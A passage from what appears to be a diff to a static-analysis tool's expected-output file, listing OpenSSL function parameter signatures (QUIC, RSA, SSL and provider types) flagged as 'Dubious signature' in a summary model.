summary model. | +| Dubious signature "(PROV_CTX *,const OSSL_CORE_HANDLE *)" in summary model. | +| Dubious signature "(PROV_CTX *,const char *,const char *)" in summary model. | +| Dubious signature "(PROV_CTX *,const char *,int)" in summary model. | +| Dubious signature "(PROV_DIGEST *,EVP_MD *)" in summary model. | +| Dubious signature "(PROV_DIGEST *,OSSL_LIB_CTX *,const char *,const char *)" in summary model. | +| Dubious signature "(PROV_DIGEST *,const OSSL_PARAM[],OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(PROV_DIGEST *,const PROV_DIGEST *)" in summary model. | +| Dubious signature "(PROV_DRBG *,OSSL_PARAM[])" in summary model. | +| Dubious signature "(PROV_DRBG *,OSSL_PARAM[],int *)" in summary model. | +| Dubious signature "(PROV_DRBG *,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(PROV_DRBG_HMAC *,unsigned char *,size_t,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(PROV_GCM_CTX *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(PROV_GCM_CTX *,const unsigned char *,size_t,unsigned char *)" in summary model. | +| Dubious signature "(PROXY_CERT_INFO_EXTENSION *)" in summary model. | +| Dubious signature "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PROXY_POLICY *)" in summary model. | +| Dubious signature "(PROXY_POLICY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(QLOG *,BIO *)" in summary model. | +| Dubious signature "(QLOG *,OSSL_TIME)" in summary model. | +| Dubious signature "(QLOG *,uint32_t)" in summary model. | +| Dubious signature "(QLOG *,uint32_t,const char *,const char *,const char *)" in summary model. | +| Dubious signature "(QLOG *,uint32_t,int)" in summary model. | +| Dubious signature "(QTEST_FAULT *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(QTEST_FAULT *,qtest_fault_on_datagram_cb,void *)" in summary model. | +| Dubious signature "(QTEST_FAULT *,qtest_fault_on_enc_ext_cb,void *)" in summary model. | +| Dubious signature "(QTEST_FAULT *,qtest_fault_on_handshake_cb,void *)" in summary model. | +| Dubious signature "(QTEST_FAULT *,qtest_fault_on_packet_cipher_cb,void *)" in summary model. | +| Dubious signature "(QTEST_FAULT *,qtest_fault_on_packet_plain_cb,void *)" in summary model. | +| Dubious signature "(QTEST_FAULT *,size_t)" in summary model. | +| Dubious signature "(QTEST_FAULT *,unsigned int,unsigned char *,size_t *,BUF_MEM *)" in summary model. | +| Dubious signature "(QUIC_CFQ *,QUIC_CFQ_ITEM *)" in summary model. | +| Dubious signature "(QUIC_CFQ *,QUIC_CFQ_ITEM *,uint32_t)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,BIO_ADDR *)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,OSSL_QRX *)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,OSSL_QRX_PKT *)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,OSSL_QUIC_FRAME_NEW_CONN_ID *)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,QUIC_STREAM *)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,QUIC_TICK_RESULT *,uint32_t)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,const BIO_ADDR *)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,const QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,int)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,int,uint64_t)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,ossl_msg_cb,SSL *)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,uint64_t)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,void *)" in summary model. | +| Dubious signature "(QUIC_DEMUX *,BIO *)" in summary model. | +| Dubious signature "(QUIC_DEMUX *,QUIC_URXE *)" in summary model. | +| Dubious signature "(QUIC_DEMUX *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *)" in summary model. | +| Dubious signature "(QUIC_DEMUX *,ossl_quic_demux_cb_fn *,void *)" in summary model. | +| Dubious signature "(QUIC_DEMUX *,unsigned int)" in summary model. | +| Dubious signature "(QUIC_ENGINE *)" in summary model. | +| Dubious signature "(QUIC_ENGINE *,..(*)(..),void *)" in summary model. | +| Dubious signature "(QUIC_ENGINE *,OSSL_TIME)" in summary model. | +| Dubious signature "(QUIC_ENGINE *,const QUIC_PORT_ARGS *)" in summary model. | +| Dubious signature "(QUIC_ENGINE *,int)" in summary model. | +| Dubious signature "(QUIC_FIFD *,..(*)(..),void *)" in summary model. | +| Dubious signature "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)" in summary model. | +| Dubious signature "(QUIC_FIFD *,QUIC_TXPIM_PKT *)" in summary model. | +| Dubious signature "(QUIC_HDR_PROTECTOR *,OSSL_LIB_CTX *,const char *,uint32_t,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(QUIC_HDR_PROTECTOR *,QUIC_PKT_HDR_PTRS *)" in summary model. | +| Dubious signature "(QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *)" in summary model. | +| Dubious signature "(QUIC_LCIDM *,QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(QUIC_LCIDM *,const QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(QUIC_LCIDM *,const QUIC_CONN_ID *,uint64_t *,void **)" in summary model. | +| Dubious signature "(QUIC_LCIDM *,void *,OSSL_QUIC_FRAME_NEW_CONN_ID *)" in summary model. | +| Dubious signature "(QUIC_LCIDM *,void *,QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(QUIC_LCIDM *,void *,const QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(QUIC_LCIDM *,void *,const QUIC_CONN_ID *,uint64_t)" in summary model. | +| Dubious signature "(QUIC_OBJ *)" in summary model. | +| Dubious signature "(QUIC_OBJ *,SSL_CTX *,int,SSL *,QUIC_ENGINE *,QUIC_PORT *)" in summary model. | +| Dubious signature "(QUIC_OBJ *,unsigned int)" in summary model. | +| Dubious signature "(QUIC_PN,unsigned char *,size_t)" in summary model. | +| Dubious signature "(QUIC_PORT *)" in summary model. | +| Dubious signature "(QUIC_PORT *,BIO *)" in summary model. | +| Dubious signature "(QUIC_PORT *,SSL *)" in summary model. | +| Dubious signature "(QUIC_PORT *,int)" in summary model. | +| Dubious signature "(QUIC_RCIDM *,QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(QUIC_RCIDM *,const OSSL_QUIC_FRAME_NEW_CONN_ID *)" in summary model. | +| Dubious signature "(QUIC_RCIDM *,const QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(QUIC_RCIDM *,int)" in summary model. | +| Dubious signature "(QUIC_RCIDM *,uint64_t)" in summary model. | +| Dubious signature "(QUIC_REACTOR *)" in summary model. | +| Dubious signature "(QUIC_REACTOR *,..(*)(..),void *,CRYPTO_MUTEX *,OSSL_TIME,uint64_t)" in summary model. | +| Dubious signature "(QUIC_REACTOR *,const BIO_POLL_DESCRIPTOR *)" in summary model. | +| Dubious signature "(QUIC_RSTREAM *,const unsigned char **,size_t *,int *)" in summary model. | +| Dubious signature "(QUIC_RSTREAM *,int)" in summary model. | +| Dubious signature "(QUIC_RSTREAM *,size_t *,int *)" in summary model. | +| Dubious signature "(QUIC_RSTREAM *,size_t)" in summary model. | +| Dubious signature "(QUIC_RSTREAM *,unsigned char *,size_t,size_t *,int *)" in summary model. | +| Dubious signature "(QUIC_RXFC *)" in summary model. | +| Dubious signature "(QUIC_RXFC *,OSSL_STATM *,size_t)" in summary model. | +| Dubious signature "(QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *)" in summary model. | +| Dubious signature "(QUIC_RXFC *,int)" in summary model. | +| Dubious signature "(QUIC_RXFC *,size_t)" in summary model. | +| Dubious signature "(QUIC_RXFC *,uint64_t,..(*)(..),void *)" in summary model. | +| Dubious signature "(QUIC_RXFC *,uint64_t,OSSL_TIME)" in summary model. | +| Dubious signature "(QUIC_RXFC *,uint64_t,int)" in summary model. | +| Dubious signature "(QUIC_SRTM *,const QUIC_STATELESS_RESET_TOKEN *,size_t,void **,uint64_t *)" in summary model. | +| Dubious signature "(QUIC_SRTM *,void *,uint64_t,const QUIC_STATELESS_RESET_TOKEN *)" in summary model. | +| Dubious signature "(QUIC_SSTREAM *)" in summary model. | +| Dubious signature "(QUIC_SSTREAM *,const unsigned char *,size_t,size_t *)" in summary model. | +| Dubious signature "(QUIC_SSTREAM *,int)" in summary model. | +| Dubious signature "(QUIC_SSTREAM *,size_t)" in summary model. | +| Dubious signature "(QUIC_SSTREAM *,size_t,OSSL_QUIC_FRAME_STREAM *,OSSL_QTX_IOVEC *,size_t *)" in summary model. | +| Dubious signature "(QUIC_SSTREAM *,uint64_t *)" in summary model. | +| Dubious signature "(QUIC_STREAM_ITER *,QUIC_STREAM_MAP *,int)" in summary model. | +| Dubious signature "(QUIC_STREAM_MAP *)" in summary model. | +| Dubious signature "(QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int)" in summary model. | +| Dubious signature "(QUIC_STREAM_MAP *,QUIC_STREAM *)" in summary model. | +| Dubious signature "(QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t)" in summary model. | +| Dubious signature "(QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t,uint64_t)" in summary model. | +| Dubious signature "(QUIC_STREAM_MAP *,int)" in summary model. | +| Dubious signature "(QUIC_STREAM_MAP *,size_t)" in summary model. | +| Dubious signature "(QUIC_STREAM_MAP *,uint64_t,int)" in summary model. | +| Dubious signature "(QUIC_THREAD_ASSIST *,QUIC_CHANNEL *)" in summary model. | +| Dubious signature "(QUIC_TLS *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(QUIC_TLS *,uint64_t *,const char **,ERR_STATE **)" in summary model. | +| Dubious signature "(QUIC_TSERVER *)" in summary model. | +| Dubious signature "(QUIC_TSERVER *,..(*)(..),void *)" in summary model. | +| Dubious signature "(QUIC_TSERVER *,SSL *)" in summary model. | +| Dubious signature "(QUIC_TSERVER *,SSL *,int)" in summary model. | +| Dubious signature "(QUIC_TSERVER *,SSL_psk_find_session_cb_func)" in summary model. | +| Dubious signature "(QUIC_TSERVER *,const QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(QUIC_TSERVER *,int,uint64_t *)" in summary model. | +| Dubious signature "(QUIC_TSERVER *,uint32_t)" in summary model. | +| Dubious signature "(QUIC_TSERVER *,uint64_t,const unsigned char *,size_t,size_t *)" in summary model. | +| Dubious signature "(QUIC_TSERVER *,uint64_t,unsigned char *,size_t,size_t *)" in summary model. | +| Dubious signature "(QUIC_TXFC *)" in summary model. | +| Dubious signature "(QUIC_TXFC *,QUIC_TXFC *)" in summary model. | +| Dubious signature "(QUIC_TXFC *,int)" in summary model. | +| Dubious signature "(QUIC_TXFC *,uint64_t)" in summary model. | +| Dubious signature "(QUIC_TXPIM *,QUIC_TXPIM_PKT *)" in summary model. | +| Dubious signature "(QUIC_TXPIM_PKT *,QUIC_CFQ_ITEM *)" in summary model. | +| Dubious signature "(QUIC_TXPIM_PKT *,const QUIC_TXPIM_CHUNK *)" in summary model. | +| Dubious signature "(RAND_POOL *)" in summary model. | +| Dubious signature "(RAND_POOL *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(RAND_POOL *,const unsigned char *,size_t,size_t)" in summary model. | +| Dubious signature "(RAND_POOL *,size_t)" in summary model. | +| Dubious signature "(RAND_POOL *,size_t,size_t)" in summary model. | +| Dubious signature "(RAND_POOL *,unsigned char *)" in summary model. | +| Dubious signature "(RAND_POOL *,unsigned int)" in summary model. | +| Dubious signature "(RECORD_LAYER *,SSL_CONNECTION *)" in summary model. | +| Dubious signature "(RIO_NOTIFIER *)" in summary model. | +| Dubious signature "(RIPEMD160_CTX *,const unsigned char *)" in summary model. | +| Dubious signature "(RIPEMD160_CTX *,const void *,size_t)" in summary model. | +| Dubious signature "(RSA *)" in summary model. | +| Dubious signature "(RSA **,const unsigned char **,long)" in summary model. | +| Dubious signature "(RSA *,BIGNUM *,BIGNUM *)" in summary model. | +| Dubious signature "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)" in summary model. | +| Dubious signature "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)" in summary model. | +| Dubious signature "(RSA *,BIGNUM *[],BIGNUM *[],BIGNUM *[],int)" in summary model. | +| Dubious signature "(RSA *,BN_CTX *)" in summary model. | +| Dubious signature "(RSA *,OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(RSA *,OSSL_PARAM_BLD *,OSSL_PARAM[],int)" in summary model. | +| Dubious signature "(RSA *,RSA_PSS_PARAMS *)" in summary model. | +| Dubious signature "(RSA *,const OSSL_PARAM[],int)" in summary model. | +| Dubious signature "(RSA *,const RSA_METHOD *)" in summary model. | +| Dubious signature "(RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int *)" in summary model. | +| Dubious signature "(RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int)" in summary model. | +| Dubious signature "(RSA *,int)" in summary model. | +| Dubious signature "(RSA *,int,BIGNUM *,BN_GENCB *)" in summary model. | +| Dubious signature "(RSA *,int,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(RSA *,int,const BIGNUM *,BN_GENCB *)" in summary model. | +| Dubious signature "(RSA *,int,int,BIGNUM *,BN_GENCB *)" in summary model. | +| Dubious signature "(RSA *,int,int,BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *)" in summary model. | +| Dubious signature "(RSA *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *)" in summary model. | +| Dubious signature "(RSA *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *)" in summary model. | +| Dubious signature "(RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int *)" in summary model. | +| Dubious signature "(RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int)" in summary model. | +| Dubious signature "(RSA *,unsigned char *,const unsigned char *,const EVP_MD *,int)" in summary model. | +| Dubious signature "(RSA *,void *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)" in summary model. | +| Dubious signature "(RSA_METHOD *,..(*)(..))" in summary model. | +| Dubious signature "(RSA_METHOD *,const char *)" in summary model. | +| Dubious signature "(RSA_METHOD *,int)" in summary model. | +| Dubious signature "(RSA_METHOD *,void *)" in summary model. | +| Dubious signature "(RSA_OAEP_PARAMS *)" in summary model. | +| Dubious signature "(RSA_OAEP_PARAMS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(RSA_PSS_PARAMS *)" in summary model. | +| Dubious signature "(RSA_PSS_PARAMS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(RSA_PSS_PARAMS_30 *,const RSA_PSS_PARAMS_30 *)" in summary model. | +| Dubious signature "(RSA_PSS_PARAMS_30 *,int *,const OSSL_PARAM[],OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(RSA_PSS_PARAMS_30 *,int)" in summary model. | +| Dubious signature "(SCRYPT_PARAMS *)" in summary model. | +| Dubious signature "(SCRYPT_PARAMS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(SCT **,const unsigned char **,size_t)" in summary model. | +| Dubious signature "(SCT *,const unsigned char **,size_t)" in summary model. | +| Dubious signature "(SCT *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(SCT *,ct_log_entry_type_t)" in summary model. | +| Dubious signature "(SCT *,sct_source_t)" in summary model. | +| Dubious signature "(SCT *,sct_version_t)" in summary model. | +| Dubious signature "(SCT *,uint64_t)" in summary model. | +| Dubious signature "(SCT *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(SCT_CTX *,X509 *,X509 *)" in summary model. | +| Dubious signature "(SCT_CTX *,X509_PUBKEY *)" in summary model. | +| Dubious signature "(SCT_CTX *,uint64_t)" in summary model. | +| Dubious signature "(SD,const char *,SD_SYM *)" in summary model. | +| Dubious signature "(SFRAME_LIST *)" in summary model. | +| Dubious signature "(SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int)" in summary model. | +| Dubious signature "(SFRAME_LIST *,UINT_RANGE *,const unsigned char **,int *)" in summary model. | +| Dubious signature "(SFRAME_LIST *,sframe_list_write_at_cb *,void *)" in summary model. | +| Dubious signature "(SFRAME_LIST *,uint64_t)" in summary model. | +| Dubious signature "(SHA256_CTX *,const void *,size_t)" in summary model. | +| Dubious signature "(SHA512_CTX *,const void *,size_t)" in summary model. | +| Dubious signature "(SHA_CTX *,const void *,size_t)" in summary model. | +| Dubious signature "(SHA_CTX *,int,int,void *)" in summary model. | +| Dubious signature "(SIPHASH *)" in summary model. | +| Dubious signature "(SIPHASH *,const unsigned char *,int,int)" in summary model. | +| Dubious signature "(SIPHASH *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(SIPHASH *,size_t)" in summary model. | +| Dubious signature "(SIPHASH *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(SIV128_CONTEXT *)" in summary model. | +| Dubious signature "(SIV128_CONTEXT *,SIV128_CONTEXT *)" in summary model. | +| Dubious signature "(SIV128_CONTEXT *,const unsigned char *,int,const EVP_CIPHER *,const EVP_CIPHER *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(SIV128_CONTEXT *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(SIV128_CONTEXT *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,int,unsigned char *,size_t *,size_t)" in summary model. | +| Dubious signature "(SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,int,const uint8_t *,size_t)" in summary model. | +| Dubious signature "(SLH_DSA_KEY *,const OSSL_PARAM *,const OSSL_PARAM[],int)" in summary model. | +| Dubious signature "(SLH_DSA_KEY *,const uint8_t *,size_t)" in summary model. | +| Dubious signature "(SM2_Ciphertext *)" in summary model. | +| Dubious signature "(SM2_Ciphertext **,const unsigned char **,long)" in summary model. | +| Dubious signature "(SM3_CTX *,const unsigned char *)" in summary model. | +| Dubious signature "(SM3_CTX *,const void *,size_t)" in summary model. | +| Dubious signature "(SRP_VBASE *,SRP_user_pwd *)" in summary model. | +| Dubious signature "(SRP_VBASE *,char *)" in summary model. | +| Dubious signature "(SRP_user_pwd *,BIGNUM *,BIGNUM *)" in summary model. | +| Dubious signature "(SRP_user_pwd *,const BIGNUM *,const BIGNUM *)" in summary model. | +| Dubious signature "(SRP_user_pwd *,const char *,const char *)" in summary model. | +| Dubious signature "(SSL *)" in summary model. | +| Dubious signature "(SSL *,..(*)(..))" in summary model. | +| Dubious signature "(SSL *,..(*)(..),void *)" in summary model. | +| Dubious signature "(SSL *,BIO *)" in summary model. | +| Dubious signature "(SSL *,BIO *,BIO *)" in summary model. | +| Dubious signature "(SSL *,DTLS_timer_cb)" in summary model. | +| Dubious signature "(SSL *,EVP_PKEY *)" in summary model. | +| Dubious signature "(SSL *,GEN_SESSION_CB)" in summary model. | +| Dubious signature "(SSL *,SSL *)" in summary model. | +| Dubious signature "(SSL *,SSL *,int)" in summary model. | +| Dubious signature "(SSL *,SSL *,int,int,int)" in summary model. | +| Dubious signature "(SSL *,SSL *,int,long,clock_t *,clock_t *)" in summary model. | +| Dubious signature "(SSL *,SSL *,long,clock_t *,clock_t *)" in summary model. | +| Dubious signature "(SSL *,SSL_CTX *)" in summary model. | +| Dubious signature "(SSL *,SSL_CTX *,const SSL_METHOD *,int)" in summary model. | +| Dubious signature "(SSL *,SSL_SESSION *)" in summary model. | +| Dubious signature "(SSL *,SSL_allow_early_data_cb_fn,void *)" in summary model. | +| Dubious signature "(SSL *,SSL_async_callback_fn)" in summary model. | +| Dubious signature "(SSL *,SSL_psk_client_cb_func)" in summary model. | +| Dubious signature "(SSL *,SSL_psk_find_session_cb_func)" in summary model. | +| Dubious signature "(SSL *,SSL_psk_server_cb_func)" in summary model. | +| Dubious signature "(SSL *,SSL_psk_use_session_cb_func)" in summary model. | +| Dubious signature "(SSL *,X509 *)" in summary model. | +| Dubious signature "(SSL *,X509 **,EVP_PKEY **)" in summary model. | +| Dubious signature "(SSL *,X509 *,EVP_PKEY *,stack_st_X509 *)" in summary model. | +| Dubious signature "(SSL *,X509 *,EVP_PKEY *,stack_st_X509 *,int)" in summary model. | +| Dubious signature "(SSL *,X509_VERIFY_PARAM *)" in summary model. | +| Dubious signature "(SSL *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,char *)" in summary model. | +| Dubious signature "(SSL *,const OSSL_DISPATCH *,void *)" in summary model. | +| Dubious signature "(SSL *,const SSL *)" in summary model. | +| Dubious signature "(SSL *,const SSL_METHOD *)" in summary model. | +| Dubious signature "(SSL *,const char *)" in summary model. | +| Dubious signature "(SSL *,const unsigned char **)" in summary model. | +| Dubious signature "(SSL *,const unsigned char *,int)" in summary model. | +| Dubious signature "(SSL *,const unsigned char *,long)" in summary model. | +| Dubious signature "(SSL *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(SSL *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *)" in summary model. | +| Dubious signature "(SSL *,const unsigned char *,size_t,int,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **)" in summary model. | +| Dubious signature "(SSL *,const unsigned char *,unsigned int)" in summary model. | +| Dubious signature "(SSL *,const void *,int)" in summary model. | +| Dubious signature "(SSL *,const void *,size_t,size_t *)" in summary model. | +| Dubious signature "(SSL *,const void *,size_t,uint64_t,size_t *)" in summary model. | +| Dubious signature "(SSL *,int *)" in summary model. | +| Dubious signature "(SSL *,int *,size_t *)" in summary model. | +| Dubious signature "(SSL *,int *,size_t *,int *,size_t *)" in summary model. | +| Dubious signature "(SSL *,int)" in summary model. | +| Dubious signature "(SSL *,int,..(*)(..))" in summary model. | +| Dubious signature "(SSL *,int,..(*)(..),SSL_verify_cb)" in summary model. | +| Dubious signature "(SSL *,int,int *,int *,int *,unsigned char *,unsigned char *)" in summary model. | +| Dubious signature "(SSL *,int,long,void *)" in summary model. | +| Dubious signature "(SSL *,int,long,void *,int)" in summary model. | +| Dubious signature "(SSL *,long)" in summary model. | +| Dubious signature "(SSL *,ossl_statem_mutate_handshake_cb,ossl_statem_finish_mutate_handshake_cb,void *)" in summary model. | +| Dubious signature "(SSL *,pem_password_cb *)" in summary model. | +| Dubious signature "(SSL *,size_t)" in summary model. | +| Dubious signature "(SSL *,size_t,size_t)" in summary model. | +| Dubious signature "(SSL *,ssl_ct_validation_cb,void *)" in summary model. | +| Dubious signature "(SSL *,stack_st_X509_NAME *)" in summary model. | +| Dubious signature "(SSL *,tls_session_secret_cb_fn,void *)" in summary model. | +| Dubious signature "(SSL *,tls_session_ticket_ext_cb_fn,void *)" in summary model. | +| Dubious signature "(SSL *,uint8_t *,uint8_t *,uint8_t *,const unsigned char **,size_t *)" in summary model. | +| Dubious signature "(SSL *,uint8_t)" in summary model. | +| Dubious signature "(SSL *,uint8_t,const void *,size_t,size_t *)" in summary model. | +| Dubious signature "(SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *)" in summary model. | +| Dubious signature "(SSL *,uint8_t,uint8_t,uint8_t,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(SSL *,uint16_t *,size_t *)" in summary model. | +| Dubious signature "(SSL *,uint32_t)" in summary model. | +| Dubious signature "(SSL *,uint64_t)" in summary model. | +| Dubious signature "(SSL *,uint64_t,const SSL_SHUTDOWN_EX_ARGS *,size_t)" in summary model. | +| Dubious signature "(SSL *,unsigned int)" in summary model. | +| Dubious signature "(SSL *,unsigned long)" in summary model. | +| Dubious signature "(SSL *,void *)" in summary model. | +| Dubious signature "(SSL *,void *,int)" in summary model. | +| Dubious signature "(SSL *,void *,size_t,size_t *)" in summary model. | +| Dubious signature "(SSL_CIPHER *,const SSL_CIPHER *,int)" in summary model. | +| Dubious signature "(SSL_CONF_CTX *,SSL *)" in summary model. | +| Dubious signature "(SSL_CONF_CTX *,SSL_CTX *)" in summary model. | +| Dubious signature "(SSL_CONF_CTX *,const char *)" in summary model. | +| Dubious signature "(SSL_CONF_CTX *,const char *,const char *)" in summary model. | +| Dubious signature "(SSL_CONF_CTX *,int *,char ***)" in summary model. | +| Dubious signature "(SSL_CONF_CTX *,stack_st_OPENSSL_STRING *,SSL_CTX *)" in summary model. | +| Dubious signature "(SSL_CONF_CTX *,unsigned int)" in summary model. | +| Dubious signature "(SSL_CONNECTION *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,CLIENTHELLO_MSG *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,CLIENTHELLO_MSG *,DOWNGRADE *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,CLIENTHELLO_MSG *,SSL_SESSION **)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,EVP_PKEY *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,PACKET *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,PACKET *,EVP_PKEY **)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,PACKET *,int)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,PACKET *,unsigned int,RAW_EXTENSION **,size_t *,int)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,SSL_CTX *,X509 *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,SSL_CTX *,X509 *,int,int)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,SSL_CTX *,stack_st_X509 *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,TLSEXT_INDEX,int,RAW_EXTENSION *,X509 *,size_t)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,TLS_RECORD *,size_t)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,WPACKET *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,WPACKET *,CERT_PKEY *,int)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,WPACKET *,int)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,X509 *,EVP_PKEY *,stack_st_X509 *,int)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,const OSSL_RECORD_METHOD *,void *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,const size_t **,size_t *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,const stack_st_X509_NAME *,WPACKET *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,const uint16_t **,size_t *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,const unsigned char **,size_t *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,const unsigned char *,size_t,const unsigned char *,size_t,SSL_SESSION **)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,int *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,int)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,int,RAW_EXTENSION *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,int,RAW_EXTENSION *,X509 *,size_t,int)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,int,const uint16_t **)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,int,int)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,int,int,char *,int)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,int,int,const char *,...)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,int,unsigned char *,size_t,DOWNGRADE)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,size_t *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,stack_st_X509 *,X509 *,int)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,uint8_t,const unsigned char *,size_t,size_t *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,uint8_t,const void *,size_t,size_t *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,unsigned char **,const void *,size_t)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,unsigned char *,unsigned char *,size_t,size_t *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,unsigned char,size_t,size_t,size_t)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,unsigned long)" in summary model. | +| Dubious signature "(SSL_CTX *)" in summary model. | +| Dubious 